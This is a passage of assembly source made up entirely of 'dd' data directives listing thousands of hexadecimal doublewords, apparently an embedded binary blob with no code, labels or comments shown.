0F63F5379h, 0D6D08021h, 0DD890B6Bh, 285A0012h dd 228664BFh, 0BA506DB4h, 74B8C14Ch, 0ACF4AF26h, 89E37809h dd 0F3A0A238h, 40E85C3Bh, 0F0236988h, 0CDCB0209h, 0C440320Bh dd 7B4D304Ch, 0FADBEF31h, 0F988CF00h, 0E4F51B9Eh, 745F58DEh dd 5A7EB840h, 3A142167h, 395Ah, 15010CCBh, 7FD8A4CEh, 14BE2CDFh dd 0AEC5013Ah, 333712F8h, 0E37C0008h, 4AA00940h, 9F3E005Eh dd 92BC67A3h, 0C7718D8h, 3438D374h, 4AB83C4Bh, 0E7602481h dd 3F68EF10h, 0ABC9BC05h, 30F48295h, 4EB3006Bh, 0C8B8A9FAh dd 6A007C2Fh dd 700E26C1h, 0E7D1F6h, 68A3C927h, 0EF364750h, 9471309Ah dd 5A89EE00h, 0CFC06237h, 0B1587DE6h, 218D0054h, 0FFD71BDEh dd 0ACC1DF26h, 0E2923510h, 156700A0h, 36411D91h, 0C43B03A3h dd 0DDAAD2A0h, 4E2CA0FFh, 3A00790Fh, 2B5E5DBCh, 0E7258439h dd 1B82F838h, 288736E8h, 0FE671F68h, 414771D9h, 0A37870CDh dd 24702B4Ah, 451990h, 314F89BAh, 47D7D524h, 4C5D8300h dd 5B6B4173h, 81ED0093h, 0E97C5A43h, 0C078ABDDh, 946D7600h dd 0B03A90BEh, 564700F6h, 26DB8388h, 98271B16h, 0B264A782h dd 228C1561h, 4B81A03Bh, 941E1EEAh, 0E786DF67h, 902788h dd 89A4D6FCh, 64162A7Ah, 42042103h, 0F8CEC7D3h, 2F0AD1A3h dd 74902730h, 2EC337B2h, 0C843DA34h, 5E24FBE8h, 0B80405Dh dd 0C5AA3879h, 13F24700h, 0B90EB33Ch, 6FA922CBh, 0F440B89Ch dd 47C9ABBh, 635047CDh, 0D1CC0FDh, 0A407087Ah, 0C5EBE0Ah dd 8ECCE0DEh, 743DDD7h, 397D8D3h, 0BA92439Dh, 81518D0h dd 3830DB00h, 503BCC4Eh, 0ED550173h, 9EB527A7h, 8DC4401Ah dd 8A4E5965h, 7F1DF042h, 5BBCC667h, 0B71C2060h, 5F1C9546h dd 9ED8E879h, 74507E19h, 0C188BE01h, 0DCFF90C2h, 60001507h dd 8C7AB731h, 91825FE7h, 9438084h, 8D51DD80h, 9BF7C25h dd 878C92CCh, 9C1089CDh, 2AD96Bh, 0C9364C62h, 0DD57B2B4h dd 21B52512h, 3B4DD000h, 0B0EF80FBh, 144B4CA4h, 5900FE9Ch dd 0D539D293h, 6802B7A3h, 104CB7Ch, 82348EA8h, 56EFF71Eh dd 7BB24070h, 1604982Dh, 3D2534B5h, 0BE04B4h, 0DB55768Ah dd 0E1E60D08h, 0CBCC0901h, 0AC4FFD1Bh, 64874F2h, 60B98C83h dd 80E558C8h, 58F37CF8h, 0CB009A9Ch, 54B8DA65h, 93CC20h dd 39BD471Fh, 4D3D6860h, 0AF5C30E7h, 7B4E3F01h, 0D93EE2FFh dd 0AE404433h, 0FC390048h, 4987519Ch, 222559B6h, 0D4104053h dd 1070810Bh, 0A55510h, 0CCA0719Fh, 0F55A1F47h, 0AC1AE501h dd 15D10E70h, 7527C380h, 1C0363BEh, 66B38D05h, 0C0C07BD5h dd 299FB4h, 94BBCE09h, 0E5CD9E7Ah, 0D905D8A6h, 3D73A87Bh dd 1F10F0A4h, 415A56DBh, 1E77CEBAh, 0ACD5E041h, 0C4656825h dd 0A1B1003Ch, 0C746B602h, 0A2D9814h, 960C10D8h, 504001E4h dd 57FB4722h, 0A06434E0h, 95EB0103h, 6B511BB3h, 5C0250E8h dd 34008E90h, 12CF6013h, 0CDDB489h, 7EB1D55Ch, 4AE4FE3Ah dd 1DD774D8h, 2112A13h, 9FB77D14h, 7743CC5Eh, 0F2DDC85Ah dd 9CA4000Dh, 0C428F62Ch, 7F0086A7h, 5AE6BEBAh, 6756F73Fh dd 625C5020h, 940DD83h, 0B500B7CCh, 0B4115E31h, 204230Ah dd 0C426D8E2h, 7D603B9Eh, 43FE70CCh, 4646448h, 0C78FA86Dh dd 0DAE585C0h, 0A43F5859h, 68EA3480h, 82027C78h, 131BB10Ch dd 0FE7C5ADDh, 64E44CA6h, 0C9D23B16h, 0DC73A0h, 3D3ED9B9h dd 984EBD98h, 0B54760Bh, 0D824A8A2h, 76844060h, 0AEF1909h dd 64D80ECFh, 0D0E8E8DBh, 0CB4DC19Eh, 0E11BAA95h, 0AB43C6B5h dd 766D688h, 0AC0B4E2Ch, 0C8C83E12h, 808D0B7Bh, 6002E056h dd 306436DEh, 6D0B1400h, 95B62477h, 0F8ED58D4h, 1BC5AC80h dd 66E5A3F0h, 0E0F05138h, 321303D8h, 0F8E3F488h, 0BEA79800h dd 2CE0757Eh, 6DD5B00h, 24BFA21Ch, 668103DFh, 0B9A4FA67h dd 0CF5C3000h, 0E06C0A83h, 0F3172518h, 40A478E3h, 0B094DBFFh dd 52700BA3h, 7F804BB6h, 0CD916121h, 3C30235Ah, 3FC212EDh dd 0F87F529Ch, 37D3000Ch, 0BD72F5Fh, 720B8CCFh, 82FCDF6Ch dd 0E2C7FE7Ch, 0C8A48488h, 79B85946h, 7E908497h, 5A00C050h dd 34A1A392h, 230E9397h, 20802A7Fh, 356CFFD3h, 762FF0E4h dd 0C7AE00D8h, 0C9CFE045h, 19683CF3h, 0B507E4A1h, 3DE44BE3h dd 0EC3FFCC8h, 0CF71F1h, 0C3874716h, 0E70E8D28h, 98072000h dd 0A3BEFCD7h, 6D40C3F8h, 30BCEAB1h, 127125D2h, 161AB331h dd 5100AB60h, 0A45586D8h, 0D3831238h, 0BBE0D8E5h, 0D02A3Fh dd 0FD15EB90h, 9EAC81F1h, 64149D60h, 0AD8A441Ch, 4C073A40h dd 0C9DEC00Ch, 279B863h, 0B9CBC8FDh, 0A471D73Bh, 24C86410h dd 0E8502B2Dh, 3F45F6Ch, 71BEE4CEh, 5A38A0AEh, 8994C859h dd 3FDCC884h, 70EE0911h, 0CA8278B2h, 0C07CD2B7h, 85357208h dd 466092Fh, 1658BE0h, 0EA5A7ED9h, 0A4632180h, 463E9EBEh dd 8EE0DC01h, 6DB3F4AFh, 0BC3C5440h, 2B13001Dh, 3A428422h dd 126FEAC4h, 0F49FA010h, 7481CAEEh, 0E70202B2h, 910CF51Bh dd 0C30A80DAh, 0CC40BDC4h, 0D37C4440h, 0A81800DBh, 11ADCCFEh dd 0D7A01CBDh, 0D09E8127h, 2E001847h, 22598EDDh, 0D93DBA73h dd 0A6705012h, 1BDB1412h, 6FE5D004h, 8727A49h, 0DA38871Ch dd 0E49AA180h, 1E1232E3h, 0F96E935Fh, 3B46BD80h, 1A6380A9h dd 7C670109h, 2DE480F5h, 4F2374DDh, 1D1840AEh, 36C57A15h dd 0D87C7729h, 72087E80h, 2CDDE452h, 4BCA11Eh, 9C31167h dd 0A510A038h, 524574A3h, 5204AC78h, 808B7FD3h, 0AE9F1620h dd 0EAF4E107h, 0E444C33Bh, 6D039CE8h, 621C3E06h, 8D5EF3C8h dd 0D3A03A4Ch, 600CE460h, 0EE720115h, 128CCD6h, 2CCBF076h dd 0C881F902h, 0D2EF1D3Ah, 0EB3D22E4h, 2008C7Eh, 0B1A70598h dd 34D690h, 0EF32DC44h, 0AF4097FAh, 61357725h, 24D2B540h dd 8590BCCEh, 4383DA76h, 0E939A8B8h, 0C29000C1h, 27045EB3h dd 785003C6h, 0ECB4D40Ch, 5C0CF979h, 0B4AF7684h, 488B8034h dd 6BE5FECDh, 65F1AD00h, 229B1139h, 76FB00BBh, 45AB9F36h dd 5F12DC1Dh, 88148083h, 78B3C0F0h, 7D4BD899h, 708A24BEh dd 34604114h, 40B7EC16h, 0A240500h, 54520EA1h, 0D3921E10h dd 8BA5A90h, 4940085Ch, 24F7F3Dh, 0B27B512Dh, 444A47F8h dd 0FB407871h, 1D4B86E3h, 0C0CB8480h, 105BCAD1h, 8709A76Ch dd 8927764Dh, 0D6208075h, 4C9B75A3h, 5EC0F863h, 74D31F76h dd 3009276h, 0CBF950ADh, 1262D4F8h, 0C424F3FFh, 8224F8ECh dd 5C80E668h, 75F7C018h, 6A5DFAEDh, 0DF5C0088h, 2598B883h dd 0B9EC9E76h, 0AA9D6A80h, 0DE9C0EFCh, 1F6BF601h, 3BE797F3h dd 5074212Fh, 0A01415D9h, 97D6067Eh, 304B98h, 9C098715h dd 85021EE9h, 2883F900h, 8A5B69A7h, 40B8BC1Bh, 0C1955E8Dh dd 22857000h, 0C7E1E599h, 6A2E1F28h, 0A4CEC24Eh, 0DCC60E26h dd 0CF512C00h, 79F82AE8h, 60F31183h, 5E1B0287h, 741AA681h dd 0BF5A88E4h, 9014760Ah, 94447D13h, 6345B9FEh, 78248009h dd 0A305EC6Ah, 8088A24Fh, 0B8F51408h, 0F01039A7h, 9E720C02h dd 0E0AA3D00h, 567167F4h, 0A5924D4h, 40FC2E68h, 3D9C5A9h dd 23DE60Eh, 6782A7A4h, 4000E085h, 843348A1h, 5DD20746h dd 0E03D2A95h, 1BC69460h, 1F5E8A0Ch, 4F679123h, 40149002h dd 42004879h, 4E346C54h, 24F65D16h, 4B0BB78h, 490218Ch dd 0AF436184h, 7C422B02h, 1C884B58h, 5D90083h, 50D7D2A6h dd 5E62631Ch, 10E872B1h, 10B6FED4h, 6E97B740h, 44A0D632h dd 48E4E18h, 58ED5B34h, 40C5131Ch, 40DCD3ECh, 59145DE9h dd 84D43362h, 0D61EC0A1h, 0BF488AEh, 781B258Ch, 0C1291848h dd 8A4B2F0Fh, 7DA940FEh, 4AAEEF1h, 763C33FDh, 0A638C090h dd 10096261h, 0A9CED719h, 8A3D0664h, 5CB01D60h, 8EDE0764h dd 884D3412h, 2BED7EF0h, 95197C42h, 0CFE8E1EEh, 6E927110h dd 83C8ED07h, 34B0662Bh, 0CCE2E4h, 950F1987h, 0AED71E5Eh dd 0A27A1306h, 22F0EE3Dh, 18112102h, 3F29BEEFh, 0F0960D4h dd 19069E2Ch, 34869166h dd 11149438h, 83DB0CA5h, 0D4317Dh, 0CBEFAD13h, 0EAECC049h dd 0D0918903h, 9BE4BA7Dh, 0E6481033h, 96B2C805h, 29D0203Ch dd 33014A7Dh, 65B76F48h, 7EF056B0h, 0C881B588h, 0CD1D64h dd 767FFFD2h, 80749918h, 0F56F690Bh, 0E200BF5Dh, 53E81296h dd 44912Eh, 7443C95Bh, 829808C0h, 381D410Bh, 6071DDh, 0F0034CF6h dd 0C3380647h, 127C7C59h, 85B8072Ch, 5A229901h, 0CC22C7DBh dd 7C6C117h, 91385034h, 34B6E294h, 0E8445F08h, 0AC24757Eh dd 3D9A0074h, 96D5FE51h, 0E60172E4h, 0E7F917C0h, 0CF6D5Bh dd 0BE2BEB31h, 93761DADh, 0ED7A500h, 0AB8C7295h, 79EA0EBFh dd 300F3ACFh, 78C87F46h, 88EF3C20h, 0BEFC6Ch, 0FFCB22D0h dd 0A6F653C7h, 9CA2C900h, 392FEF91h, 725F00AEh, 7EBB8DD7h dd 0A2B50AFFh, 8F926514h, 81BE8864h, 0ECC3832Fh, 0B9A04437h dd 9684015Ch, 0BA2987FBh, 14A4ACECh, 0FC1BD105h, 0C431F210h dd 0CD48EBA2h, 84B4D08Bh, 21C09DB6h, 0F5FDBE59h, 0D6315424h dd 3BB40361h, 40FFD75Ah, 1A88DB6Bh, 16FFEB3Bh, 402996ECh dd 4C8DB05h, 74C05CBEh, 2F4CD003h, 64813B1Bh, 569C4871h dd 3070418Ah, 88C0D848h, 0AE00CE64h, 0BE5801D6h, 0B676E78h dd 0A35E3FCDh, 10D1F411h, 0BC7C399h, 0B2CACE4Ah, 21C70C8h dd 1037EF4Fh, 7FA2E7C1h, 455AB048h, 6DA4E5DDh, 40F0401Ch dd 96C654A9h, 0B8915C19h, 45305625h, 0A6A05C0Bh, 48C5B301h dd 6DBFFFE9h, 514E16B8h, 78C0B7h, 2362FED0h, 9F55E5B7h dd 0C3563200h, 58349C70h, 3BF499B1h, 59DB9582h, 45AD272h dd 98B4A09Fh, 1F749Bh, 31D835E0h, 6A1DC551h, 7E7DF00h dd 69772343h, 48C8C8FBh, 9F22F264h, 90F4EB25h, 0D0F90197h dd 94417F34h, 1C393024h, 37E1F409h, 64F9EDh, 0D5439980h dd 8158C873h, 0C5CD2538h, 0D4A3145Ch, 4CD45711h, 2F088008h dd 5E0A7D6h, 0B881B3FAh, 0BCCE276h, 0E8400966h, 0F7D888h dd 8612CA83h, 3A708748h, 0BFC59801h, 1DA61F10h, 866C2820h dd 1F684A44h, 253E5C5Ah, 80FC2C83h, 8459F10Ah, 2B44A8D3h dd 0A223BE40h, 33001676h, 73B97E5Eh, 0C209DFh, 0F962FD87h dd 8EE83652h, 3927A4FCh, 5900A24Ah, 3E88798Ah, 25C80CCDh dd 84776781h, 68F6335Eh, 0BE7CD964h, 51933894h, 23202820h dd 898664Eh, 5D3C007Ch, 0C341E509h, 0B97D07EFh, 11E73Ah dd 0A29FC225h, 0B0618FAAh, 0F77117Ch, 0A0904AB7h, 74E6681Dh dd 4DF50242h, 0D1957E5Ch, 616F30FEh, 438206E3h, 9103DFCh dd 89A75F84h, 0B38AA818h, 26F9CD21h, 935B09F1h, 2B08AC51h dd 39DB01BFh, 3EE86B17h, 519F4409h, 0E3350070h, 77C7C8AEh dd 36331F01h, 0EF2A16ACh, 804FAC7Ch, 76A52B84h, 8E0918B0h dd 44F74BABh, 0C72500ECh, 0D92C42B9h, 7F541909h, 8A444778h dd 0B96D0015h, 7A107B11h, 0FA0A2E9Eh, 0B45D1BB0h, 797C5941h dd 4B74D8h, 17DEA5A6h, 7B878E35h, 0CBFF3812h, 83FB6404h dd 0DB1CB4E7h, 0A4C64D15h, 3D7820A0h, 59519835h, 850B48B9h dd 5C511426h, 21D09494h, 8D2B884Bh, 0CCF45D97h, 0FE1E0117h dd 9A623CC6h, 4253C835h, 3FB6A500h, 1B598307h, 0E4EE50E3h dd 2A7C412Eh, 0AE32C000h, 276220E1h, 0E8A0A62Ah, 7F133383h dd 89CD7234h, 508BB584h, 9DB43C60h, 6A3AFC62h, 0F9559D05h dd 0B878334Ch, 0AD208673h, 0E0B04C8Eh, 1BBFE722h, 65AE803Ch dd 0C2260175h, 68FF3949h, 0B25C413Fh, 645D127Eh, 3E7D0048h dd 6E6207C1h, 70004695h, 0DA14094Eh, 1492239Fh, 0BF6CA9F1h dd 0C6692Eh, 28C67A15h, 3A0096E6h, 0D8D0CEA1h, 4AE383BBh dd 2CBCCC29h, 0D0CCCD5Eh, 21CE42B5h, 8842616h, 3745FB06h dd 0B8E0F857h, 20A74EFFh, 0C90860A4h, 0D949AD00h, 62A0ED96h dd 0D55D0522h, 0E2C348A9h, 56C6007Ch, 6077FBE6h, 0C7F203D0h dd 0CF5138A3h, 2FF90799h, 0F05F1806h, 80F09989h, 0D7560C1Ch dd 7C0E5E3Dh, 0A48395EBh, 0ACC44BE3h, 0A00094B2h, 0B650D951h dd 0C526EE64h, 6E0FA449h, 0D1501DBh, 206FA7B9h, 6CC69C38h dd 0C7ED1000h, 7E6EB6CAh, 0B16500A1h, 130638E6h, 0FA7550DDh dd 79B59C00h, 0B94B0AD2h, 82850014h, 7FA45ABDh, 0D10EC37Ah dd 0BF3E99B5h, 8994BA04h, 63ED10C1h, 0A8A0CC15h, 0EE0DC701h dd 3D547CDDh, 729D11C0h, 0FABD1E10h, 0BA3AFAA9h, 3429BC51h dd 327EEE84h, 0A3984452h, 0E2F9878h, 49100201h, 1A900511h dd 4C500CC0h, 0CD534584h, 0A03D7Ah, 0D4D9D3C0h, 290F16h dd 72CE453h, 3223C3E9h, 0AD978D00h, 406189E1h, 0BD32717h dd 853E00E0h, 0B8BEF700h, 82E80E29h, 13C700A7h, 43639578h dd 0D400CD53h, 803BDFF1h, 3CDAC8h, 26DB8436h, 0BA917262h dd 0C5CC6A5Ch, 7CDCDAD5h, 144F0018h, 0FF3EA769h, 81284C37h dd 1E21842Ah, 65C28BD7h, 0D42D6439h, 78009A5Bh, 15C852Fh dd 37DFAECh, 7239899Bh, 809C6C08h, 0B6B9F7E4h, 84815F8Bh dd 41EC8D54h, 0D56734h, 381DBEFh, 0BE651EA4h, 0C9A16B39h dd 59C7997h, 0D89E7994h, 508438C1h, 42D38C29h, 0D22516C8h dd 21D61702h, 10B54712h, 0F4B092h, 4ED0CF8Eh, 53943DD2h dd 0B612AE7Eh, 4B3DEBDh, 345C1C58h, 3BB0B096h, 3504558h dd 605A27DEh, 8C5907D9h, 0A54FA383h, 0ED548D13h, 543C02BBh dd 9F2980ACh, 572DAC9Bh, 40D71400h, 0D496D6A5h, 42EC9CFCh dd 44844DDEh, 5E68C08Ch, 94A0B0F7h, 68B98167h, 0FB40D464h dd 6047CFC6h, 4E715F0Fh, 6C2F2039h, 2D7B0580h, 0D0693BF3h dd 28695Ch, 4D64CB4Bh, 7090AE89h, 0B0685334h, 64CE4025h dd 0AAD82907h, 62D01380h, 0A7CC8Ch, 23E3CF4Bh, 0C7FBCB4Ah dd 0FFE4AB00h, 0C8970A8Bh, 0A76500DCh, 16BA7572h, 0E0999519h dd 0DA1EC181h, 70FC33B5h, 0A4D754D6h, 0F72C8687h, 0DF61F8BCh dd 0B805F821h, 199C8000h, 6A4BEh, 0BD812969h, 3E65FF08h dd 4C00F7EEh, 0E372FE47h, 24A3ED5Eh, 602CF3A5h, 18D43A19h dd 6BE1D064h, 124D94B4h, 280FD99h, 74DDD6EEh, 0DFF6C41h dd 84290462h, 984F07ACh, 48E3E0AFh, 2C022114h, 70B783B1h dd 9E489C5h, 51F4A5A9h, 8E93DCFCh, 6CEB0B10h, 27DC5922h dd 0F80FA0E2h, 0C9A900B1h, 0F33F42B7h, 5F3A026Ah, 0C3C1ADBBh dd 968B7D61h, 0A837CBB0h, 0CE049074h, 0D7C49CFEh, 0E00B99D6h dd 40E898B6h, 0FD981607h, 87F434D1h, 0E667A234h, 51E02C56h dd 31BDCA3h, 0F72D4116h, 42D8C875h, 3B24C43Dh, 0B900674Fh dd 65F362C6h, 980A1391h, 25422D1h, 682C80F0h, 8C472482h dd 430AA060h, 0C5490025h, 7BCA7D58h, 0D1263DBAh, 0C0908D0h dd 0A6C4944Ah, 9F11C58h, 0BF79404Bh, 299034E4h, 6BC25A00h dd 535BB9Dh, 0EAC604E8h, 0E5CE83FFh, 0DB29D238h, 292B17ACh dd 14882B78h, 0EA66008Bh, 0C99E98E8h, 59162774h, 0F421F942h dd 3F10C028h, 0AF65BB7h, 8BC9880Bh, 73000498h, 0CBEA6C91h dd 14A28828h, 6C123C80h, 0A75AA6D4h, 0F07B400Ah, 1D421764h dd 0A4D9247Fh, 4EA93BBCh, 2212AC1Eh, 138CC05h, 681664C4h dd 59ED6802h, 4BA8C43Fh, 97D8D084h, 5300FC33h, 0AA2380F6h dd 0FA9978h, 0E55804A3h, 98C2723Ch, 66D790C8h, 350B49C1h dd 0F8BBFFE9h, 0A43851A0h, 0A444BC72h, 52C68870h, 80E2FD3Fh dd 67749F2Ah, 78711BDEh, 0F227077Ah, 1A78291Ah, 0FADA08B0h dd 0EA49B644h, 842B6802h, 78A45C04h, 0CEE879h, 0A34D3994h dd 705E9973h dd 89F51738h, 518467D5h, 0C25BF30h, 5000B464h, 0E8AF5A0h dd 0F33E0C7h, 6884D5B3h, 58FCE212h, 48FE2AECh, 5312CB44h dd 0FA00A4C9h, 99A54C1h, 0D474C24Ah, 0CCA0E715h, 0EB3002ADh dd 0E538621Bh, 0A8DC12DCh, 76A9C44Ch, 4BB4CF4h, 20FB4F13h dd 0B3248162h, 27486CE0h, 44148Bh, 0ECC37886h, 2E370E14h dd 5C66CB01h, 0D74516D0h, 289361E0h, 188270h, 304C3EB2h dd 0A53DD934h, 706E141Fh, 93B83900h, 0EA116DDFh, 0E8BE530Ah dd 0E552BB1Dh, 54F73020h, 0B200E127h, 0E71D2F3Ah, 4C1B5B13h dd 9689F09Eh, 956354CAh, 0DC7943h, 0B79EA0A1h, 20236Ah dd 49F61252h, 0FB742DC3h, 5C094E71h, 0D9D1799Ah, 0AB878030h dd 3B45FF7Ah, 846B0A00h, 0C50B5B8Ah, 40F4486Ah, 7E399E00h dd 0A9200454h, 0EEB34E00h, 0E518633Bh, 185260DBh, 357F98B4h dd 9314FB01h, 0C7AF3451h, 7AC68DE0h, 1F5B2A1Bh, 0BCBD2064h dd 0BFD633Fh, 8AF38401h, 0E302C015h, 0D4EA3237h, 0B51028F8h dd 6A1B14A2h, 0E0F3E410h, 76691D66h, 209C00Ch, 0D3C311EEh dd 8B027A76h, 0A25C4DADh, 98A75D1Fh, 0E1601F90h, 0BE0961EAh dd 312DA07h, 0E3800421h, 7EE4Dh, 27C8C37h, 9F4360F5h, 4414E500h dd 0C87DA457h, 0F6682EFDh, 9775063Ch, 0F20E9970h, 23F12ED5h dd 0B1271758h, 3878B492h, 0D0FB0A08h, 8EBF5588h, 4890EC8Ch dd 35210240h, 61A3A439h, 351702CCh, 6300C215h, 18F59320h dd 0CB0700DBh, 8BA79CA6h, 54981C0Eh, 0C8E9D726h, 202F368Ah dd 7E2A4D05h, 0A854A4h, 0BA151FECh, 0DF4DF9Ah, 19C30709h dd 60120EF7h, 1402109Ch, 80ECB1F5h, 0F407A67h, 0EA77F6D8h dd 0D10E557Dh, 4137F35Ah, 7B667527h, 49FB5D0h, 89317C8h dd 7704EC1Dh, 3C297D4Bh, 0AC0920h, 602628C9h, 73865B18h dd 52043C00h, 0AB5949E2h, 8850B6F5h, 0A4404C2Ch, 388E0Dh dd 131E5C19h, 0FFA1246Fh, 0B6B21B00h, 252EC365h, 2BE4073Bh dd 0B1793847h, 8C7B0CB3h, 4191E938h, 8F550036h, 6D64589Eh dd 0FB00723Eh, 3407E496h, 443C4641h, 0BE582C27h, 38B4376Ch dd 55608B87h, 1828DCCh, 0B3C593BBh, 882FDA5Dh, 391279h dd 47CCB9EDh, 42070F87h, 0BE82ABDFh, 8491D7E0h, 1D0D0A5Fh dd 0D683295h, 0F3389894h, 6918190h, 2BE04F00h, 0FB073A6Eh dd 0DF650167h, 711EE554h, 6A1EFB2Ah, 30C275Eh, 2294497Ch dd 88031F8Fh, 7745EF06h, 4E338065h, 709100B4h, 26C85EC2h dd 6EC19E0h, 0BE0B6200h, 0C3BD0F6h, 0EDF9C032h, 3A51110Eh dd 6600B990h, 9A71CCBEh, 62874AE0h, 29957889h, 9DB61920h dd 0B404822Ah, 0DC80408Bh, 9EA4E0h, 0D3EC6273h, 0B37192A9h dd 47119901h, 0BFACC46Ch, 0D5228C4Ah, 913D8030h, 355A36h dd 0E71E0FDEh, 0C7AC3F6Fh, 317AC300h, 25BD4844h, 0E02F0A8Dh dd 38C3842h, 993C458Fh, 547CE014h, 8A6408E4h, 0C70D0631h dd 0CD00B152h, 0C2110E3h, 7E5960h, 0A4D4B9DAh, 0B3829CB7h dd 10F09153h, 99013AC7h, 0CCD5960Eh, 0AC66F005h, 9C1D2CA0h dd 8C6052h, 0BBFA858Ch, 3A615E3Ch, 58003790h, 0CB256C2Ah dd 82011805h, 5120E446h, 58205F52h, 5899C16Bh, 8033BB66h dd 0FF71AE59h, 0F36EA602h, 40317820h, 0A31860F8h, 8F29894Bh dd 99FE00F3h, 429D967Eh, 660C3A1Dh, 20356BE0h, 0E1B7028Ah dd 5F8327A8h, 3903F1C3h, 290F6A0Ah, 4334B832h, 9180F0B8h dd 0E2B100A4h, 0F16DC648h, 1CC1DE24h, 2549C44Eh, 194E0C82h dd 8A6611BAh, 586087D2h, 95B98C90h, 63D287Dh, 8BBB229Ch dd 7B15C710h, 53344900h, 4A5AAAFh, 6E08F50h, 33FC6404h dd 0E4401D94h, 0DFE9F8A1h, 2058300Eh, 0A7F540E5h, 2A9FC04Fh dd 4448F2E0h, 0B50A91F6h, 9CF511B6h, 0E4BD580Eh, 8E073AB9h dd 0E0293D3Bh, 0E254B88Ch, 0AD447E74h, 2D4486C6h, 0F4974480h dd 80DD023Dh, 0A0161B4Bh, 0F425E42Eh, 35FE6C6h, 24E763FAh dd 3172B37Eh, 22260400h, 0B5787DC7h, 0D14A0596h, 4AEF5A5h dd 8092B8D4h, 409AB68Ch, 63F954A0h, 1C46CCAAh, 69310500h dd 0DD78347Fh, 5FFA010Eh, 6F42B0BAh, 9683357h, 8E92C236h dd 31C0F05Ch, 0BC1DB9B1h, 9D1F937Bh, 0ECC0773Eh, 58999C6Bh dd 0C49007F6h, 0B0372E68h, 21F0DC1Dh, 42CEA401h, 4CA54527h dd 0E285ED8h, 1F2094E9h, 7F5C2641h, 32589DF0h, 0E148CC80h dd 0A81890h, 0BE26398Dh, 0D6C4D2FEh, 28B3B430h, 0C6C05281h dd 8587261h, 0F400EBF8h, 22531F7Bh, 0F0D3C491h, 5F30C7B0h dd 0A71F48D5h, 55AD4E31h, 887A9080h, 7D109785h, 426A8207h dd 1163CCFBh, 40D876DBh, 0C46335E5h, 0B0A66A71h, 1F82B659h dd 40D996D5h, 363B4D8Fh, 0CA0C2E75h, 8324670h, 644E12BAh dd 0FAA00E27h, 1EC9F90Ch, 3430A4A4h, 8D8859D1h, 0A4F8006Bh dd 0A1B06616h, 2078DBE1h, 487DC214h, 0CE416183h, 0B510B0EBh dd 573FAE40h, 0CC880E8h, 0CFBE0126h, 0D6D02E22h, 3BBB0047h dd 1E123981h, 0D8E168CDh, 814023FCh, 586C10B6h, 875D007Bh dd 0FD82C5BDh, 750537B2h, 0C21AA46Bh, 5CEDA047h, 9A338131h dd 0DBD93980h, 0AB7CF977h, 29CA6430h, 0F72FF3h, 854B933Fh dd 7D389951h, 8BDA360Fh, 3A79201Ch, 0F21A9F04h, 406B00FCh dd 0BFF64F10h, 0E8A9D71Eh, 0E900CF5Ah, 226B1A51h, 0CF686ACh dd 9DEA3F4h, 0A8A2B030h, 0CA2A3C2h, 9428D133h, 22821Dh dd 0D65D284Ch, 0DC3BE5F7h, 1350BF7Bh, 0C8A84534h, 0C005614Dh dd 8B91AFF3h, 2F15DC0h, 73D6007Dh, 0A0CCF635h, 9B07D540h dd 0BC3BEC53h, 569054D7h, 0C01F468Ah, 93612251h, 11C04B72h dd 0B1A82712h, 8134007Dh, 8598EDDBh, 90AED4h, 67B544h dd 0C2D53376h, 0D4BD4399h, 7F22D00Fh, 840F32E2h, 0A19E501Ah dd 82B73F08h, 39668AD9h, 0F95C9960h, 550CC2F0h, 38C17E72h dd 6B500DB9h, 0D830BEF2h, 6C01443Ah, 0CA05A77Ah, 0AC40DA99h dd 894023A2h, 65423F1h, 4C593363h, 307D0011h, 0A9E94347h dd 0FB1EAF4Ah, 56C0F8E1h, 0F79E468Ch, 0C453248Ah, 0A03C285Ch dd 48EB855Ch, 0BCC1240Eh, 203228C3h, 0EB864B54h, 91F1E048h dd 5CEA60E0h, 3439DBD0h, 3F9700A4h, 5AEEDAADh, 9DF300F6h dd 8424C10Fh, 2F602648h, 1A17E278h, 3898ECh, 0DC55EAD1h dd 0DB1FDD3Bh, 0C3BB4D14h, 6197318Ch, 8180D235h, 94D1FF17h dd 5112261Bh, 9C04A423h, 74C89598h, 30D549F1h, 84355C04h dd 1E64C877h, 0E7981607h, 0C42262C0h, 35104057h, 1A88C9D1h dd 40E41024h, 7F53B2E8h, 997C0096h, 70B7476Fh, 7B005AE1h dd 0B426E6ABh, 0A9EF1FDAh, 6417D158h, 2C084E2h, 0C55737ADh dd 8E935040h, 0B1D2D481h, 0B820853Ch, 4481869Ch, 8A9C414Ah dd 0BAC4012Bh, 5FF8A3E6h, 0AF7100BBh, 1B01FCF7h, 7D0CBDD9h dd 41A7C4A4h, 91570C1Dh, 0E4112972h, 0ACB13503h, 9099164Bh dd 0B2F583h, 4CEBC105h, 2937735Ch, 95C2DA3Dh, 74BCBA71h dd 90AD4828h, 1384E44h, 0CB8C0342h, 4007976Dh, 4941C6A9h dd 1FE4560Ah, 79648CA7h, 984294Ah, 0F803D93Bh, 1900D65Fh dd 55BE6338h, 249CE71Ah, 5ADC98CCh, 1A663C00h, 2600B51Eh dd 0F5DFA61Bh, 3191D608h, 72F1D877h, 0C335C0A7h, 461BE00h dd 16AC1546h, 202F0547h, 32446BFDh, 3630E8B4h, 50D98005h dd 0A1D35C34h, 20224C82h, 0BC585625h, 985EA22Ch, 354D18Fh dd 4CBF7650h, 0A3C04C31h, 0CD4B7F63h, 6F72BAE0h, 91EB5Ch dd 90EFA823h dd 6566949h, 705094B4h, 0C4EC4165h, 2A86600Ch, 4049C3h dd 457A10D2h, 35365733h, 24D87058h, 64041CE2h, 0F34858C3h dd 6E56BD80h, 5CC27B68h, 8506004Dh, 212435BCh, 0BB4898F7h dd 1EB761h, 0A4CEA146h, 648C25BFh, 0B8825400h, 0CC3A025Fh dd 30589807h, 91417172h, 6E00773Fh, 0BB2CD344h, 2639972Ah dd 40485AD9h, 0DD29C870h, 819C2200h, 4995A5D2h, 0D3B300EEh dd 0BE3BADFEh, 44009F4Ch, 9C469989h, 5115724Dh, 1C42AC38h dd 47C32EAAh, 0F5C05296h, 56130EDBh, 0C002BF5Dh, 24F92FBEh dd 0C08C5477h, 0D1F722EAh, 4D34B067h, 0A179683Ah, 50101494h dd 34A0C1CAh, 78989737h, 88DA12F9h, 638744CCh, 18F92EEEh dd 553C208h, 0AF740C3Ah, 0F27082B3h, 0C3449064h, 754A0013h dd 0D16F5E92h, 4FAA6A2h, 7220E506h, 0FF05DCDh, 5B33BC19h dd 36600AB6h, 887545D4h, 0EC004384h, 7288BF26h, 1C101B07h dd 804E50DEh, 2C7C8405h, 0C32401FDh, 4710C057h, 49657084h dd 2FEC84C4h, 0D9809837h, 890567ECh, 8A9007FDh, 49AD5ADAh dd 0B5D47002h, 